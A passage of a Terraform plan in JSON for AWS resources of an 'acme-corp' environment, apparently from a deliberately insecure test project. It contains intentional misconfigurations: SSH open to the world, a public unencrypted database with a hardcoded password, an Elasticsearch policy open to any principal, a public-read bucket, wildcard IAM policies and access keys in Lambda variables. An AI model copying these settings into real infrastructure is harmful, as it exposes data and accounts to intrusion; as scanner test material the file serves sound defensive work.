"", "from_port": 0, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "-1", "security_groups": [], "self": false, "to_port": 0 } ], "ingress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 22, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 22 }, { "cidr_blocks": [ "0.0.0.0/0" ], "description": "", "from_port": 80, "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_groups": [], "self": false, "to_port": 80 } ], "name": "123456789123-acme-corp-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": null, "timeouts": null } }, { "address": "aws_security_group_rule.egress", "mode": "managed", "type": "aws_security_group_rule", "name": "egress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "0.0.0.0/0" ], "description": null, "from_port": 0, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "-1", "self": false, "to_port": 0, "type": "egress" } }, { "address": "aws_security_group_rule.ingress", "mode": "managed", "type": "aws_security_group_rule", "name": "ingress", "provider_name": "aws", "schema_version": 2, "values": { "cidr_blocks": [ "172.16.0.0/16" ], "description": null, "from_port": 3306, "ipv6_cidr_blocks": null, "prefix_list_ids": null, "protocol": "tcp", "self": false, "to_port": 3306, "type": "ingress" } }, { "address": "aws_subnet.eks_subnet1", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet1", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "10.10.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.eks_subnet2", "mode": "managed", "type": "aws_subnet", "name": "eks_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "10.10.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-eks-subnet2", "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet", "mode": "managed", "type": "aws_subnet", "name": "web_subnet", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2a", "cidr_block": "172.16.10.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet" }, "timeouts": null } }, { "address": "aws_subnet.web_subnet2", "mode": "managed", "type": "aws_subnet", "name": "web_subnet2", "provider_name": "aws", "schema_version": 1, "values": { "assign_ipv6_address_on_creation": false, "availability_zone": "us-west-2b", "cidr_block": "172.16.11.0/24", "ipv6_cidr_block": null, "map_public_ip_on_launch": true, "outpost_arn": null, "tags": { "Name": "123456789123-acme-corp-subnet2" }, "timeouts": null } }, { "address": "aws_volume_attachment.ebs_att", "mode": "managed", "type": "aws_volume_attachment", "name": "ebs_att", "provider_name": "aws", "schema_version": 0, "values": { "device_name": "/dev/sdh", "force_detach": null, "skip_destroy": null } }, { "address": "aws_vpc.eks_vpc", "mode": "managed", "type": "aws_vpc", "name": "eks_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "10.10.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-eks-vpc" } } }, { "address": "aws_vpc.web_vpc", "mode": "managed", "type": "aws_vpc", "name": "web_vpc", "provider_name": "aws", "schema_version": 1, "values": { "assign_generated_ipv6_cidr_block": false, "cidr_block": "172.16.0.0/16", "enable_dns_hostnames": true, "enable_dns_support": true, "instance_tenancy": "default", "tags": { "Name": "123456789123-acme-corp-vpc" } } }, { "address": "null_resource.push_image", "mode": "managed", "type": "null_resource", "name": "push_image", "provider_name": "null", "schema_version": 0, "values": { "triggers": null } } ] } }, "resource_changes": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "backup_window": true, "ca_cert_identifier": true, "character_set_name": true, "endpoint": true, "hosted_zone_id": true, "id": true, "identifier_prefix": true, "kms_key_id": true, "license_model": true, "maintenance_window": true, "monitoring_role_arn": true, "performance_insights_kms_key_id": true, "performance_insights_retention_period": true, "port": true, "replicas": true, "resource_id": true, "s3_import": [], "status": true, "storage_type": true, "tags": {}, "timezone": true, "vpc_security_group_ids": true } } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "option": [], "tags": {} } } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "parameter": [ {}, {} ], "tags": {} } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "subnet_ids": true, "tags": {} } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null }, "after_unknown": { "arn": true, "data_encryption_key_id": true, "encrypted": true, "id": true, "kms_key_id": true, "owner_alias": true, "owner_id": true, "tags": {}, "volume_id": true, "volume_size": true } } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } }, "after_unknown": { "arn": true, "encrypted": true, "id": true, "iops": true, "kms_key_id": true, "snapshot_id": true, "tags": {}, "type": true } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null }, "after_unknown": { "arn": true, "encryption_configuration": [], "id": true, "image_scanning_configuration": [], "registry_id": true, "repository_url": true, "tags": {} } } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "encryption_config": [], "endpoint": true, "id": true, "identity": true, "platform_version": true, "role_arn": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": true, "vpc_id": true } ] } } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] }, "after_unknown": { "access_policies": true, "advanced_options": true, "advanced_security_options": true, "arn": true, "cluster_config": [ { "zone_awareness_config": [] } ], "cognito_options": [], "domain_endpoint_options": true, "domain_id": true, "ebs_options": [ { "volume_type": true } ], "encrypt_at_rest": true, "endpoint": true, "id": true, "kibana_endpoint": true, "log_publishing_options": [], "node_to_node_encryption": true, "snapshot_options": [], "vpc_options": [] } } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" }, "after_unknown": { "id": true } } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } }, "after_unknown": { "access_logs": [], "arn": true, "availability_zones": true, "dns_name": true, "health_check": [ {} ], "id": true, "instances": true, "internal": true, "listener": [ {} ], "security_groups": true, "source_security_group": true, "source_security_group_id": true, "subnets": true, "tags": {}, "zone_id": true } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" }, "after_unknown": { "arn": true, "id": true, "log_destination": true, "log_format": true, "log_group_name": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "pgp_key": null, "user": "123456789123-acme-corp-user" }, "after_unknown": { "encrypted_secret": true, "id": true, "key_fingerprint": true, "secret": true, "ses_smtp_password_v4": true, "status": true } } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } }, "after_unknown": { "arn": true, "create_date": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" }, "after_unknown": { "id": true, "role": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" }, "after_unknown": { "id": true } } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } }, "after_unknown": { "arn": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" }, "after_unknown": { "id": true } } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "user_data": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "cpu_core_count": true, "cpu_threads_per_core": true, "credit_specification": [], "ebs_block_device": true, "ephemeral_block_device": true, "host_id": true, "id": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "metadata_options": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "primary_network_interface_id": true, "private_dns": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "subnet_id": true, "tags": {}, "tenancy": true, "volume_tags": true, "vpc_security_group_ids": true } } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-igw" } }, "after_unknown": { "arn": true, "id": true, "owner_id": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null }, "after_unknown": { "arn": true, "id": true, "target_key_arn": true, "target_key_id": true } } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null }, "after_unknown": { "arn": true, "id": true, "key_id": true, "policy": true } } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] }, "after_unknown": { "arn": true, "dead_letter_config": [], "environment": [ { "variables": {} } ], "file_system_config": [], "id": true, "invoke_arn": true, "last_modified": true, "qualified_arn": true, "role": true, "source_code_size": true, "tracing_config": true, "version": true, "vpc_config": [] } } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null }, "after_unknown": { "arn": true, "availability_zones": true, "cluster_identifier_prefix": true, "cluster_members": true, "cluster_resource_id": true, "endpoint": true, "engine_version": true, "hosted_zone_id": true, "id": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_maintenance_window": true, "reader_endpoint": true, "vpc_security_group_ids": true } } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "cluster_identifier": true, "dbi_resource_id": true, "endpoint": true, "engine_version": true, "id": true, "identifier": true, "identifier_prefix": true, "kms_key_arn": true, "neptune_subnet_group_name": true, "preferred_backup_window": true, "preferred_maintenance_window": true, "storage_encrypted": true, "writer": true } } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null }, "after_unknown": { "allocated_storage": true, "availability_zones": true, "db_cluster_identifier": true, "db_cluster_snapshot_arn": true, "engine": true, "engine_version": true, "id": true, "kms_key_id": true, "license_model": true, "port": true, "snapshot_type": true, "source_db_cluster_snapshot_arn": true, "status": true, "storage_encrypted": true, "vpc_id": true } } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } }, "after_unknown": { "attachment": true, "id": true, "ipv6_address_count": true, "ipv6_addresses": true, "mac_address": true, "outpost_arn": true, "private_dns_name": true, "private_ip": true, "private_ips": [ false ], "private_ips_count": true, "security_groups": true, "subnet_id": true, "tags": {} } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": null }, "after_unknown": { "destination_prefix_list_id": true, "egress_only_gateway_id": true, "gateway_id": true, "id": true, "instance_id": true, "instance_owner_id": true, "local_gateway_id": true, "nat_gateway_id": true, "network_interface_id": true, "origin": true, "route_table_id": true, "state": true, "timeouts": {} } } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "tags": { "Name": "123456789123-acme-corp-rtb" } }, "after_unknown": { "id": true, "owner_id": true, "propagating_vgws": true, "route": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "gateway_id": null }, "after_unknown": { "id": true, "route_table_id": true, "subnet_id": true } } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [ { "target_bucket": true } ], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": [ {} ], "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "tags": {}, "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, 